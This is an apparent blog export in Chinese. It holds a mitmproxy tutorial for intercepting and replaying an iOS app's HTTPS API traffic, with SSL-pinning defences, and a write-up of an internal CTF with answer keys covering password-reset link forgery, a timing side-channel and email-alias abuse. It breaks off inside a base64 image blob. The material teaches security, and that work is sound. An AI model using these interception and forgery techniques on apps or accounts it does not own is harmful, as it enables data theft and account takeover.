"APP有用HTTPS傳輸,但資料還是被偷了。iOS+MacOS 使用 mitmproxy 進行中間人攻擊(Man-in-the-middle attack) 嗅探API傳輸資料教學及如何防範?前言前陣子剛在公司辦完一場內部的 CTF競賽 ,在發想題目時回想起大學時候還在做後端(PHP)時經手的專案,一個集點的APP,大概就是有個任務列表,然後觸發條件完成就Call API獲得點數;老闆認為Call API有經過HTTPS加密傳輸資料就很安全了 — 直到我向他展示中間人攻擊,直接嗅探傳輸資料,偽造API呼叫獲得點數….再加上最近幾年大數據崛起,網路爬蟲滿天飛;爬蟲攻防戰日漸白熱化, 爬取與防爬之間花招百出 ,只能說道高一尺魔高一丈啊!爬蟲的另一條下手對象就是APP的API,如果沒有任何防範幾乎等於門戶大開;不但好操作而且格式也乾淨,更不容易被識別阻擋;所以如果網頁端已經費盡全力阻擋,資料還是不段被爬,不妨檢查一下APP的API有無漏洞。因為這個議題我不知道該如何出在 CTF比賽中 ,所以就單拉出一篇文章作為紀錄 ;本篇只是粗淺給個概念 — HTTPS能透過憑證替換進行傳輸內容解密 、如何加強安全性防止;實際網路理論不是我的強項也都還給老師了,如果已經有這方面概念的朋友就不用花時間看這篇,或拉到底看APP該如果保護!實際操作環境: MacOS + iOS Android 使用者可以直接下載 Packet Capture (免費)、iOS 用戶可使用 Surge 4 這套軟體( 付費) 解鎖中間人攻擊功能、MacOS也可以使用另一套付費軟體Charles。 本文章主要講解iOS使用 免費 的 mitmproxy 進行操作,如果您有上述的環境就不用這麼麻煩啦,直接APP打開在手機上掛載VPN替換掉憑證就能進行中間人攻擊!(ㄧ樣請直接下拉到底看該如何保護!)[2021/02/25 更新]: Mac 有新的免費圖形化介面程式 ( Proxyman ) 可以用,可搭配 參考此篇文章 的第一部分。安裝 mitmproxy直接使用 brew 安裝 :brew install mitmproxy安裝完成!p.s 如果你出現 brew: command not found 請先安裝 brew 套件管理工具 :/usr/bin/ruby -e \"$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)\"mitmproxy 使用安裝完成後,在 Terminal 輸入以下指令啟用:mitmproxy啟動成功讓手機跟Mac在同個區域網路內&取得Mac的IP位址方法(1) Mac 連接 WiFi、手機也使用同個 WiFiMac的IP位址 = 「系統偏好設定」->「網路」->「Wi-Fi」->「IP Address」方法(2) Mac 使用有線網路,開啟網路分享;手機連上該熱點網路:「系統偏好設定」-> 「共享」->選擇「乙太網路」->「Wi-Fi」打勾-> 「Internet 共享」啟用Mac的IP位址 = 192.168.2.1 (️️注意⚠️ 不是乙太網路網路的IP,是Mac用做網路分享基地台的IP)手機網路設置WiFi — Proxy伺服器資訊「設定」-> 「WiFi」-> 「HTTP 代理伺服器」-> 「手動」-> 「伺服器輸入 Mac的IP位址 」-> 「連接埠輸入 8080 」-> 「儲存」 這時網頁打不開、出現憑證錯誤是正常的;我們繼續往下做…安裝 mitmproxy 自訂 https 憑證如同上述所說,中間人攻擊的實現方式就是在通訊之中使用自己的憑證做抽換加解密資料;所以我們也要在手機上安裝這個自訂的憑證。1.用手機safari打開 http://mitm.it出現左邊->Proxy設定✅/ 出現右邊代表 Proxy設定有誤🚫「Apple」->「安裝描述檔」->「安裝」 ⚠️到這裡還沒結束,我們還要去關於裡啟用描述檔「一般」->「關於」->「憑證信任設定」->「mitmproxy」啟用完成!這時我們再回去瀏覽器就能正常瀏覽網頁了。回到Mac 上操作 mitmproxy可以在mitmproxy Terminal上看到剛手機的資料傳輸紀錄找到想嗅探的紀錄進入查看Request(送出哪些參數)/Response(回傳了什麼內容)常用操作按鍵集:「 ? 」= 查看按鍵操作集文檔「 k 」/「⬆」= 上 「 j 」/「⬇」= 下 「 h 」/「⬅」= 左 「 l 」/「➡️」️= 右 「 space 」= 下一頁「 enter 」= 進入查看詳情「 q 」= 返回上一頁/退出「 b 」= 匯出response body到指定path文字檔 「 f 」= 篩選紀錄條件「 z 」= 清除所有紀錄「 e 」= 編輯Request(cookie、headers、params...)「 r 」= 重新發送Request不習慣CLI? 沒關係,可以改用 Web GUI !除了 mitmproxy 啟用方式之外,我們可以改下:mitmweb就能使用新的 Web GUI 進行操作觀察mitmweb重頭戲,嗅探APP資料:上述環境都建置完成也熟悉之後,就可以進入我們的重頭戲;嗅探APP API的資料傳輸內容! 這邊以某房屋APP作為範例,無惡意純學術交流使用! 我們想知道物件列表的API是如何請求和回傳什麼內容!首先先按「z」清除所有紀錄(避免搞亂)開啟目標 APP開啟目標 APP 嘗試「下拉重整」或觸發「載入下一頁」的動作。 🛑若你的目標APP打不開、連不上;那抱歉了,代表APP有做防範無法用這招嗅探,請直接下拉到如何保護的章節🛑mitmproxy 紀錄回到 mitmproxy 查看紀錄,發揮偵探的精神猜測哪個API請求紀錄是我們想要的並進入查看詳細!RequestRequest 部分可以看到 請求傳遞了哪些參數搭配「e」編輯與「r」重新發送,並觀察 Response 就可以猜到每個參數的用途囉!ResponseResponse 也能直接獲得原始回傳內容。 🛑若Response內容是一堆編碼;那也抱歉了,代表APP可能有自己再做一次加解密無法用這招嗅探,請直接下拉到如何保護的章節🛑很難閱讀?中文亂碼?沒關係,這邊可以用「b」匯出成文字檔到桌面,再將內容複製到 Json Editor Online 解析即可! *或是直接使用 mitmweb 使用 web gui 直接瀏覽、操作mitmweb經過嗅探、觀察、過濾、測試之後就能知道APP API的運作方式,藉此就能利用,用爬蟲爬取資料。 *蒐集完所需資訊記得關閉mitmproxy、手機網路Proxy代理伺服器改回自動,才能正常使用網路。APP 該如何自保?若掛上 mitmproxy 之後發現APP不能用、回傳內容是編碼,代表APP有做保護。做法(1):大略是將憑證資訊放一份到APP中,若當前HTTPS使用的憑證與APP中的資訊不符則拒絕訪問,詳細可以 看此 或找 SSL Pinning 相關資源。缺點可能就是要注意憑證有效期的問題吧!https://medium.com/@dzungnguyen.hcm/ios-ssl-pinning-bffd2ee9efc作法(2):APP端在資料要傳輸前先進行編碼加密,API後端收到後解密取得原始請求內容;API回傳內容一樣先進行編碼加密,APP端收到資料後解密取得回傳內容;步驟很煩瑣也耗效能,但的確是個方法;據我所知好像某數字銀行就是用這招進行保護!不過….作法1,依然有破解方法: 如何在iOS 12上绕过SSL Pinning作法2,透過反編譯工程也能獲得編碼加密用的密鑰⚠️沒有100%的安全⚠️或是乾脆挖個洞讓它爬,邊搜集各種證據,再用法務解決(?還是那句話: 「 NEVER TRUST THE CLIENT」mitmproxy 的更多玩法:1.使用mitmdump除 mitmproxy 、 mitmweb , mitmdump 可直接將所有紀錄匯出到文字檔中mitmdump -w /log.txt並且能使用 玩法(2) python程式,設定、篩選流量:mitmdump -ns examples/filter.py -r /log.txt -w /result.txt2.搭配python程式做請求參數設定、訪問控制、轉址:from mitmproxy import httpdef request(flow: http.HTTPFlow) -> None: # pretty_host takes the \"Host\" header of the request into account, # which is useful in transparent mode where we usually only have the IP # otherwise. # 請求參數設定 Example: flow.request.headers['User-Agent'] = 'MitmProxy' if flow.request.pretty_host == \"123.com.tw\": flow.request.host = \"456.com.tw\" # 將123.com.tw的訪問全導到456.com.tw啟用mitmproxy時加上參數:mitmproxy -s /redirect.pyormitmweb -s /redirect.pyormitmdump -s /redirect.py補個坑在使用 mitmproxy 觀察使用 HTTP 1.1 及 Accept-Ranges: bytes、 Content-Range 長連接片段持續拿取資源的請求時,會等到 response 全部回來才會顯示,而不是顯示分段、使用持久連接接續下載!踩坑在這 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "如何打造一場有趣的工程CTF競賽", "url": "/posts/729d7b6817a4/", "categories": "ZRealm, Dev.", "tags": "capture-the-flag, ios-app-development, php, computer-science, wargame", "date": "2019-07-24 22:32:34 +0800", "snippet": "如何打造一場有趣的工程CTF競賽Capture The Flag 競賽建置與題目發想關於 CTFCapture The Flag 奪旗簡稱 CTF;是一種源於西方的運動,在現代也常見於漆彈、第一人稱射擊遊戲中;原始概念是分組進行,各組需要保護自己的旗幟不被搶走另一方面也要想辦法得到別組的旗幟;應用在計算機領域就是「入侵攻防戰」首先找到自己的漏洞保護好不被入侵,另一方面製造零時差攻擊從其他隊伍...", "content": "如何打造一場有趣的工程CTF競賽Capture The Flag 競賽建置與題目發想關於 CTFCapture The Flag 奪旗簡稱 CTF;是一種源於西方的運動,在現代也常見於漆彈、第一人稱射擊遊戲中;原始概念是分組進行,各組需要保護自己的旗幟不被搶走另一方面也要想辦法得到別組的旗幟;應用在計算機領域就是「入侵攻防戰」首先找到自己的漏洞保護好不被入侵,另一方面製造零時差攻擊從其他隊伍搶奪分數。以上屬於標準甚至可以說是「進階」的 CTF 比賽方式,要在企業內部Run一場 CTF 比賽還會有其他現實考量: 舉辦 CTF 比賽的目的除了提升技術能力外還有 促進工程師之間的交流 工程師各有所長,有Front-End、Back-End、APP、DevOps;若希望大家都能參與,出題方向就不能太針對某個領域(如:網路、PHP) 分組要能強弱、更領域專長平均分散 活動時間頂多一個下午 舉辦 CTF 比賽屬於主要工作業務之外的Side Project,沒有太多的資源跟時間綜合以上因素,與其說是一場 CTF比賽,不如說是場: 分組解謎累積旗幟積分&促進工程師之間交流的活動屬於初階的 CTF比賽!活動目標 提升工程技術能力 促進工程師之間交流 激發大家探索事物的熱忱、敏銳度 有趣,無趣的事做起來很痛苦3、4項是我自己加入的,我對這個活動的期望不只是實務面;更希望透過有趣的方式提升大家對探索、學習新事物的熱忱,就如同日常工作一般;不應該只做碼農,而是要想辦法自我突破繼續向前!比賽規則 將工程師依照專長、強弱平均分組 比賽時間:90分鐘 題目一共出了12題,提供3次花費得分購買提示的機會 提示購買花費依照時間遞減(越早買越貴) 每題有基本得分+時間得分(越早解越多) 選擇開啟某個題目答題後,將鎖定只能回答該提或其他已開啟的題目;直到該提通過或鎖定時間結束(會有這條規則是因為活動主要希望組員之間能交流一起腦力激盪,而不是分工解題) 每題分數、提示花費、鎖定時間依照題目難易度各有所不同 勝利條件:累積得分最高獲勝,若分數一樣則比較解題時間 獲勝隊伍有$$如何打造?活動規則跟目標都釐清之後,再來的重頭戲就是如何打到一場 CTF比賽?此部分要分兩個章節說明, 第一是打造能進行 CTF比賽的系統 , 第二是 比賽題目的發想1.打造能進行 CTF比賽的系統 這部分需要具備前端跟後端相關技術才能實作,如果不熟悉就只能請其他同事幫忙囉。前端: Semantic UI後端:PHP+json檔儲存資料因為時間有限,所以比賽系統的部分以簡單穩定快速搭建為主;這邊前端介面直接套用 Semantic UI 這套Framework;後端使用老本行PHP撰寫,無使用Framework,資料儲存部分也直接使用json檔做存放,無使用資料庫;一切從簡,也比較不會有問題(例如有人想攻擊比賽系統直接獲得答案)。入口頁:以有趣為出發點,入口頁使用BBC影集Sherlock的梗:手機解鎖密碼 S H E R這四格輸入框用來輸入各組得到的識別碼(4位數),例如:輸入第一組:「1432」、第二組:「8421」,用來識別要答題的組別。至於各組的識別碼這邊我多埋了一個梗,識別碼呈現如下:有看出來四位數字識別碼了嗎?沒有的話請離螢幕遠一點看看。…….…………………………………………………………………………………….………………………………….……………………………. .……………………….………………. .……………….. .解答:第一組的識別碼是 8291輸入之後就會進入比賽系統主頁-題目列表:上方顯示: Team 1 組別、提示券剩餘張數中間題目區: 題目名稱、描述、通過獲得分數、鎖定時間、購買提示、提示顯示滑鼠移入會顯示時間分數、提示價格下方顯示: Total 目前總分後端及其他邏輯: 題目列表頁每秒會用Ajax跟後端要當前答題狀況,後端讀取、記錄答題狀況在各組的json檔;按解鎖答題時會記錄時間、時間未到無法解鎖其他題目、答題通過寫入完成時間、時間分數、提示價格會依照花費時間遞增遞減。 比賽系統大致上如此,不過重點不在於比賽系統,而是題目本身! 有不有趣、能不能讓所有人參與、有沒有邏輯、新不新奇…真的很難發想讓我們趕進進入重點吧!2.比賽題目的發想首先介紹我所發想的5個題目1.通往魔法學院的大門題目說明: 你會得到一串金鑰,要想辦法使用這把鑰匙解出咒語,輸入在咒語輸入框;下方有驗證碼欄位需要輸入,按驗證進行答題。解答:本題考的是資安及編碼問題;平台加解密漏洞接口運用,若在網站設計時所有的加密解密都使用同一套方式、同一把鑰匙,我們就能運用這個弱點去解開加密內容得到原始資料!可以看到驗證碼的部分是 ./image.php?token=AD0HbwdgVDw= 這裡就提供一個解密的接口,所以我們可以試試把上方的加密金鑰帶入:即可得到解密後的字串:LiveALifeYouWillRemeber輸入到咒語輸入框後即可通關!2.請帶我回到1937年的上海!題目說明: 要想辦法輸入年/月/日送出到後端,讓後端判別成是1937年;年份輸入範圍(1947~2099)無法直接輸入1937年。解答:本題旨不在如何繞過前端判斷,因為後端有處理所以無法繞過;本題主要考的是 32位元電腦2038年問題 ,因為位元數限制32位元的timestamp最多只能顯示到2038年1月19日03:14:07,超過將會溢位回到1901年1月1日;因此可以透過往後推算輸入 2073–02–06 到 2074–02–05 都會落在1937年,輸入這範圍的日期後即可傳送成功!維基百科3.神鬼交鋒題目說明: 要想辦法收取一個第三方(你無法登入的信箱)的密碼重設信,完成重設別人的密碼。解答:本題需要更多的敏銳度,首先先使用自己可以收信的信箱做密碼重設;我們收到的信件如下:您的密碼重設連結:http://ctf.zhgchg.li/10/reset.php?requestid=OTk= 如跟您無關聯,無須理會此封信,謝謝!我們可以發現密碼重設請求是透過requestid這個參數去識別,我們得到的值是 OTk= ,看起來是base64?,試試看吧:base64 decode and encode我們可以得到參數的值是99,再重複請求一次密碼重設得到100,因此可以推測密碼重設請求是流水號,下一號就是101,這時再回到原本要繞過的信箱按重設密碼請求,我們就能自行偽造組合出密碼重設連結,進而偷偷重設別人的密碼。將101 Encode Base64 => MTAx,偽造網址: http://ctf.zhgchg.li/10/reset.php?requestid=MTAx ,隨意輸入密碼後按下密碼重設即可通關!4.馬甲大師題目說明: 你需要生出10組Gmail信箱(Gmail託管信箱),收取解答信。解答:本題當然可以暴力破解,但公司信箱是不能隨意註冊的;除非找到10個人幫你收信不然無法解答。本題關鍵是 Gmail信箱/Gmail託管信箱,由於公司信箱是Gmail託管信箱;所以也有Gmail信箱的特性:可以使用「.」、「+」創造出無限的分身信箱,「.」可以放在帳號任意位置、「+」可以放在最後+任何數字例如:主信箱是 zhgchgli@gmail.com ,但z.hgchgli@gmail.com、zh.gchgli@gmail、zhgchgli+1@gmail.com、zhgchgli+25@gmail.com…都會寄到 zhgchgli@gmail.com 主信箱,一個信箱就能創造出多個身份!這體主要在提醒大家在做帳號註冊時要多過濾掉這些字符,以免讓有心人利用註冊大量假帳號。收取完10封信就能組合出解答所在網址,進入網址後即可通關!5.時間機器題目說明: 跟第3題神鬼交鋒有點像,要想辦法收取一個第三方(你無法收取簡信)的手機簡訊驗證碼(4位數字),完成登入別人的帳號。解答:本題較冷門困難,主要模擬旁路時序攻擊,系統登入驗證包含複雜演算法,在處理驗證資訊時會有時差出現(例如:輸入對1碼處理比較久. .全錯馬上就返回了,很快);透過觀察這些時差我們從 0000 開始一位一位去嘗試,嘗試 2000 時發現處理了一秒,我們可以得知第一位是 2 ;再繼續嘗試 2100 還是一秒, 2200 時又更慢了,變兩秒…再繼續試第三位、第四位最後就能直接獲得解答「 2256 」本題只是模擬此種攻擊,後端處理直接用sleep模擬非實際有複雜的演算法,一般在網頁、APP開放上也較少遇到這種攻擊;一放面是處理資訊都不夠複雜到會有明顯時差、另一方面還有網路因素影響,不好判斷。關於旁路攻擊詳細可參考此篇文章:30 分钟理解 CORB 是什么 — 旁路攻击(side-channel attacks) 以上是我發想的5題,下面繼續介紹同事們提供的剩下7題題目。1.貞子出鏡貞子圖取自網路題目說明: 題目就是一張貞子圖,要在上方對話輸入框輸入貞子想說的話,即可通關。解答:本題考大家知不知道圖片能塞其他資訊的概念,關鍵在這張圖的原圖:貞子圖取自網路這張圖已經偷偷壓縮一個文字檔在裡面(實際作法請參考: How To Hide A ZIP File Inside An Image On Mac [Quicktip] ,這邊要注意Win/Mac的問題)所以我們只要簡單的在Commone unzip 這張圖就能獲得通關字串:在輸入框輸入「YOUHAVENOIDEA」即可通關!補充:關於圖片隱藏資訊部分,這邊還有另一種方式,使用「 圖像隱碼術(Steganography) 」圖像隱碼術(Steganography)與惡意程式:原理和方法簡單來說就將像素色碼的顏色值做手腳藏資訊,實際圖片已變但肉眼無法分辨出來。這題怕大家走這個方向,所以也在圖片裡做了隱碼,走這條路的人可以獲得提示:Steganography Online將圖片上傳至線上隱碼解碼工具即可獲得提示。2.凱薩大帝的摩斯密碼素材圖片取自網路題目說明: 試解出題目所提供的摩斯密碼所含的意思(一句英文)。解答:本題相當直白,第一步就是先解出摩斯密碼代表的英文字母「 VYYXI DN HT GDAZ 」摩斯密碼翻譯器然後再做凱薩密碼解密,當我們嘗試到偏移量5時可以得到一句有意義的英文句子「 addcn is my life」,即為答案!凱薩密碼解密工具3.你覺得是什麼?打開這題的網頁就是一堆亂碼,完整如下:ZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFtSUFBQUIrQ0FZQUFBQ0gzWDB2QUFBS3cybERRMUJKUTBNZ1VISnZabWxzWlFBQVNJbVZsd2RVazFrV3g5LzNwVGRhQWdKU1F1OUlyMUpDYUFHVVhtMkVKSkJRWWt3SUFuWmtjQVRHZ29vSWxnRWRCRkZ3TElDTUJiRmdZVkN3Z0hXQ0RBcktPRmdRRlpYOWdDWE03SjdkUFh0ejN2Zjl6ai8zM1hmdk8rL2wzQUJBSWJORm9uUllDWUFNWWFZNElzQ0hIaGVmUU1mMUF3akFnQUJvd0pMTmtZZ1lZV0VoQUxHWjk5L3R3MzNFRzdFN1ZwT3gvdjM3LzJyS1hKNkVBd0FVaG5BU1Y4TEpRUGdVTXQ1eVJPSk1BRkExaUc2d01sTTB5UjBJMDhSSWdnakxKamxsbXQ5UGN0SVVvL0ZUUGxFUlRJUzFBTUNUMld4eENnQmtVMFNuWjNGU2tEamtRSVJ0aEZ5QkVPRnNoRDA1ZkRZWDRXYUVMVE15bGsveTd3aWJKdjBsVHNyZllpYkpZN0xaS1hLZXJtWEs4TDRDaVNpZG5mTi9ic2YvdG94MDZjd2F4c2dnODhXQkVjaGJFOW16M3JUbHdYSVdKaTBNbldFQmQ4cC9pdm5Td09nWjVraVlDVFBNWmZzR3krZW1Md3laNFdTQlAwc2VKNU1WTmNNOGlWL2tESXVYUjhqWFNoWXpHVFBNRnMrdUswMkxsdXQ4SGtzZVA1Y2ZGVHZEV1lLWWhUTXNTWXNNbnZWaHluV3hORUtlUDA4WTRETzdycis4OWd6Slgrb1ZzT1J6TS9sUmdmTGEyYlA1ODRTTTJaaVNPSGx1WEo2djM2eFB0TnhmbE9ralgwdVVIaWIzNTZVSHlIVkpWcVI4YmlaeUlHZm5oc24zTUpVZEZEYkRJQVl3Z0IzeXNVY0dIVVFDSGhBREFmSkVhc25rWldkT0ZzUmNMc29SQzFMNG1YUUdjdE40ZEphUVkyMUp0N094ZFFWZzh0NU9INHQzdlZQM0VWTER6Mm81VzVCanJvQ0l3N05hckNFQXh3WUIwSGc5cXhrakdvMElRRk1FUnlyT210YlFrdzhNSUFKRjVQZEFBK2dBQTJBS3JKQXNuWUE3OEFaK0lBaUVnaWdRRDVZQ0R1Q0REQ1R2bFdBMTJBQUtRQkhZQm5hQmNuQUFIQVExNEJnNEFackFXWEFSWEFVM3dXMXdEendDTWpBQVhvRVI4QUdNUXhDRWd5Z1FGZEtBZENFanlBS3lnMXdnVDhnUENvRWlvSGdvRVVxQmhKQVVXZzF0aElxZ0VxZ2Nxb1Jxb1oraE05QkY2RHJVQlQyQStxQWg2QzMwR1ViQlpKZ0dhOFBHOER6WUJXYkF3WEFVdkFST2dWZkF1WEErdkFVdWc2dmdvM0FqZkJHK0NkK0RaZkFyZUJRRlVDU1VHa29QWllWeVFURlJvYWdFVkRKS2pGcUxLa1NWb3FwUTlhZ1dWRHZxRGtxR0drWjlRbVBSVkRRZGJZVjJSd2VpbzlFYzlBcjBXblF4dWh4ZGcyNUVYMGJmUWZlaFI5RGZNQlNNRnNZQzQ0WmhZZUl3S1ppVm1BSk1LYVlhY3hwekJYTVBNNEQ1Z01WaTFiQW1XR2RzSURZZW00cGRoUzNHN3NNMllGdXhYZGgrN0NnT2g5UEFXZUE4Y0tFNE5pNFRWNERiZ3p1S3U0RHJ4ZzNnUHVKSmVGMjhIZDRmbjRBWDR2UHdwZmdqK1BQNGJ2d0wvRGhCaVdCRWNDT0VFcmlFSE1KV3dpRkNDK0VXWVlBd1RsUW1taEE5aUZIRVZPSUdZaG14bm5pRitKajRqa1FpNlpOY1NlRWtBV2s5cVl4MG5IU04xRWY2UkZZaG01T1o1TVZrS1hrTCtUQzVsZnlBL0k1Q29SaFR2Q2tKbEV6S0Zrb3Q1UkxsS2VXakFsWEJXb0dsd0ZWWXAxQ2gwS2pRcmZCYWthQm9wTWhRWEtxWXExaXFlRkx4bHVLd0VrSEpXSW1weEZaYXExU2hkRWFwUjJsVW1hcHNxeHlxbktGY3JIeEUrYnJ5b0FwT3hWakZUNFdya3E5eVVPV1NTajhWUlRXZ01xa2M2a2JxSWVvVjZnQU5Tek9oc1dpcHRDTGFNVm9uYlVSVlJkVkJOVVkxVzdWQzlaeXFUQTJsWnF6R1VrdFgyNnAyUXUyKzJ1YzUybk1ZYzNoek5zK3BuOU05WjB4OXJycTNPays5VUwxQi9aNzZadzI2aHA5R21zWjJqU2FOSjVwb1RYUE5jTTJWbXZzMXIyZ096NlhOZFovTG1WczQ5OFRjaDFxd2xybFdoTllxcllOYUhWcWoyanJhQWRvaTdUM2FsN1NIZGRSMHZIVlNkWGJxbk5jWjBxWHFldW9LZEhmcVh0QjlTVmVsTStqcDlETDZaZnFJbnBaZW9KNVVyMUt2VTI5YzMwUS9XajlQdjBIL2lRSFJ3TVVnMldDblFadkJpS0d1NFFMRDFZWjFoZytOQ0VZdVJueWozVWJ0Um1QR0pzYXh4cHVNbTR3SFRkUk5XQ2E1Sm5VbWowMHBwbDZtSzB5clRPK2FZYzFjek5MTTlwbmROb2ZOSGMzNTVoWG10eXhnQ3ljTGdjVStpeTVMaktXcnBkQ3l5ckxIaW16RnNNcXlxclBxczFhekRySE9zMjZ5ZmozUGNGN0N2TzN6MnVkOXMzRzBTYmM1WlBQSVZzVTJ5RGJQdHNYMnJaMjVIY2V1d3U2dVBjWGUzMzZkZmJQOUd3Y0xCNTdEZm9kZVI2cmpBc2ROam0yT1g1MmNuY1JPOVU1RHpvYk9pYzU3blh0Y2FDNWhMc1V1MTF3eHJqNnU2MXpQdW41eWMzTExkRHZoOXFlN2xYdWEreEgzd2ZrbTgzbnpEODN2OTlEM1lIdFVlc2c4Nlo2Sm5qOTZ5cnowdk5oZVZWN1B2QTI4dWQ3VjNpOFlab3hVeGxIR2F4OGJIN0hQYVo4eHBodHpEYlBWRitVYjRGdm8yK21uNGhmdFYrNzMxRi9mUDhXL3puOGt3REZnVlVCcklDWXdPSEI3WUE5TG04VmgxYkpHZ3B5RDFnUmREaVlIUndhWEJ6OExNUThSaDdRc2dCY0VMZGl4NFBGQ280WENoVTJoSUpRVnVpUDBTWmhKMklxd1g4S3g0V0hoRmVIUEkyd2pWa2UwUjFJamwwVWVpZndRNVJPMU5lcFJ0R20wTkxvdFJqRm1jVXh0ekZpc2IyeEpyQ3h1WHR5YXVKdnhtdkdDK09ZRVhFSk1RblhDNkNLL1Jic1dEU3gyWEZ5dytQNFNreVhaUzY0djFWeWF2dlRjTXNWbDdHVW5FekdKc1lsSEVyK3dROWxWN05Fa1Z0TGVwQkVPazdPYjg0cnJ6ZDNKSGVKNThFcDRMNUk5a2t1U0IxTThVbmFrRFBHOStLWDhZUUZUVUM1NGt4cVllaUIxTEMwMDdYRGFSSHBzZWtNR1BpTXg0NHhRUlpnbXZMeGNaM24yOGk2UmhhaEFKRnZodG1MWGloRnhzTGhhQWttV1NKb3phVWlEMUNFMWxYNG43Y3Z5ektySStyZ3ladVhKYk9Wc1lYWkhqbm5PNXB3WHVmNjVQNjFDcitLc2FsdXR0M3JENnI0MWpEV1ZhNkcxU1d2YjFobXN5MTgzc0Q1Z2ZjMEc0b2EwRGIvbTJlU1Y1TDNmR0x1eEpWODdmMzErLzNjQjM5VVZLQlNJQzNvMnVXODY4RDM2ZThIM25adnROKy9aL0syUVczaWp5S2FvdE9oTE1hZjR4ZysyUDVUOU1MRWxlVXZuVnFldCs3ZGh0d20zM2QvdXRiMm1STGtrdDZSL3g0SWRqVHZwT3d0M3Z0KzFiTmYxVW9mU0E3dUp1Nlc3WldVaFpjMTdEUGRzMi9PbG5GOStyOEtub21HdjF0N05lOGYyY2ZkMTcvZmVYMzlBKzBEUmdjOC9DbjdzclF5b2JLd3lyaW85aUQyWWRmRDVvWmhEN1QrNS9GUmJyVmxkVlAzMXNQQ3dyQ2FpNW5LdGMyM3RFYTBqVyt2Z09tbmQwTkhGUjI4Zjh6M1dYRzlWWDltZzFsQjBIQnlYSG4vNWMrTFA5MDhFbjJnNzZYS3kvcFRScWIybnFhY0xHNkhHbk1hUkpuNlRyRG0rdWV0TTBKbTJGdmVXMDc5WS8zTDRyTjdaaW5PcTU3YWVKNTdQUHo5eElmZkNhS3VvZGZoaXlzWCt0bVZ0ank3RlhicDdPZnh5NTVYZ0s5ZXUrbCs5MU01b3YzRE40OXJaNjI3WHo5eHd1ZEYwMCtsbVk0ZGp4K2xmSFg4OTNlblUyWGpMK1ZiemJkZmJMVjN6dTg1M2UzVmZ2T043NStwZDF0MmI5eGJlNjdvZmZiKzNaM0dQckpmYk8vZ2cvY0diaDFrUHh4K3RmNHg1WFBoRTZVbnBVNjJuVmIrWi9kWWdjNUtkNi9QdDYzZ1crZXhSUDZmLzFlK1MzNzhNNUQrblBDOTlvZnVpZHRCdThPeVEvOUR0bDR0ZURyd1N2Um9mTHZoRCtZKzlyMDFmbi9yVCs4K09rYmlSZ1RmaU54TnZpOTlwdkR2ODN1RjkyMmpZNk5NUEdSL0d4d28vYW55cytlVHlxZjF6N09jWDR5dS80TDZVZlRYNzJ2SXQrTnZqaVl5SkNSRmJ6SjVxQlZESWdKT1RBWGg3R0FCS1BBRFUyd0FRRjAzMzFWTUdUZjhYbUNMd24zaTY5NTR5SndDcXZRR0liZ1VnY0QwQUZaTTlDTUlxeUFoRDlDaHZBTnZieThjL1RaSnNiemNkaTlTRXRDYWxFeFB2a0I0U1p3YkExNTZKaWZHbWlZbXYxVWl5RHdGby9URGR6MDlhQXRJMzV4bE9VZ2VURC83Vi9nSENLaEdyVlRxbk1nQUFBWjFwVkZoMFdFMU1PbU52YlM1aFpHOWlaUzU0YlhBQUFBQUFBRHg0T25odGNHMWxkR0VnZUcxc2JuTTZlRDBpWVdSdlltVTZibk02YldWMFlTOGlJSGc2ZUcxd2RHczlJbGhOVUNCRGIzSmxJRFV1TkM0d0lqNEtJQ0FnUEhKa1pqcFNSRVlnZUcxc2JuTTZjbVJtUFNKb2RIUndPaTh2ZDNkM0xuY3pMbTl5Wnk4eE9UazVMekF5THpJeUxYSmtaaTF6ZVc1MFlYZ3Ribk1qSWo0S0lDQWdJQ0FnUEhKa1pqcEVaWE5qY21sd2RHbHZiaUJ5WkdZNllXSnZkWFE5SWlJS0lDQWdJQ0FnSUNBZ0lDQWdlRzFzYm5NNlpYaHBaajBpYUhSMGNEb3ZMMjV6TG1Ga2IySmxMbU52YlM5bGVHbG1MekV1TUM4aVBnb2dJQ0FnSUNBZ0lDQThaWGhwWmpwUWFYaGxiRmhFYVcxbGJuTnBiMjQrTmpFd1BDOWxlR2xtT2xCcGVHVnNXRVJwYldWdWMybHZiajRLSUNBZ0lDQWdJQ0FnUEdWNGFXWTZVR2w0Wld4WlJHbHRaVzV6YVc5dVBqRXlOand2WlhocFpqcFFhWGhsYkZsRWFXMWxibk5wYjI0K0NpQWdJQ0FnSUR3dmNtUm1Pa1JsYzJOeWFYQjBhVzl1UGdvZ0lDQThMM0prWmpwU1JFWStDand2ZURwNGJYQnRaWFJoUGdvZmZnckVBQUFyTVVsRVFWUjRBZTJkQ2R5VTQvckhyeFNINGsyaTBxYkZhYU9pQlpFVWh6YUpOcVc5Y0p5c2xUWmJqaVBhYkVjTDdTa3ErU2RhQ0tVT0twV2lva1hrRUZvVUxRaWwvL1ViNXozbjlacG03bnZtMmVkM2ZUN3ptZmVkdWVaZXZzOHo4MXpQZlY5TG5rcVZ5eDhSQ2dtUUFBbVFBQW1RQUFtUWdPY0Vqdkc4UjNaSUFpUkFBaVJBQWlSQUFpUVFJMEJEakNjQ0NaQUFDWkFBQ1pBQUNmaEVnSWFZVCtEWkxRbVFBQW1RQUFtUUFBblFFT001UUFJa1FBSWtRQUlrUUFJK0VhQWg1aE40ZGtzQ0pFQUNKRUFDSkVBQ05NUjREcEFBQ1pBQUNaQUFDWkNBVHdSb2lQa0VudDJTQUFtUUFBbVFBQW1RQUEweG5nTWtRQUlrUUFJa1FBSWs0Qk1CR21JK2dXZTNKRUFDSkVBQ0pFQUNKRUJEak9jQUNaQUFDWkFBQ1pBQUNmaEVnSWFZVCtEWkxRbVFBQW1RQUFtUUFBblFFT001UUFJa1FBSWtRQUlrUUFJK0VhQWg1aE40ZGtzQ0pFQUNKRUFDSkVBQ05NUjREcEFBQ1pBQUNaQUFDWkNBVHdUeStkUXZ1NDBZZ1JiWFhDUDE2dFZMT3F1ZmZ2cEorZzhZSUVlT0hFbXFTd1VTSUFFU0lBRVNpRG9CR21KUlA4SWV6YTlHalJwU3YzNTlvOTd1dnVjZU9YVG9rSkV1bFVpQUJFaUFCRWdneWdSb2lFWDU2SEp1SkVBQ0pFQUNrU1Z3ekRISFNMR2lSYVZrcVZKU3NrUUpLWGI2NlhKaWdRS1NYeDhGOHVlWC9QbzQvT3V2c20vZlB0bXZqOWp6L3YyeVYvLys5Tk5QWmRPbVRid3BEc0RaRVJsRHJFS0ZDbkxTU1N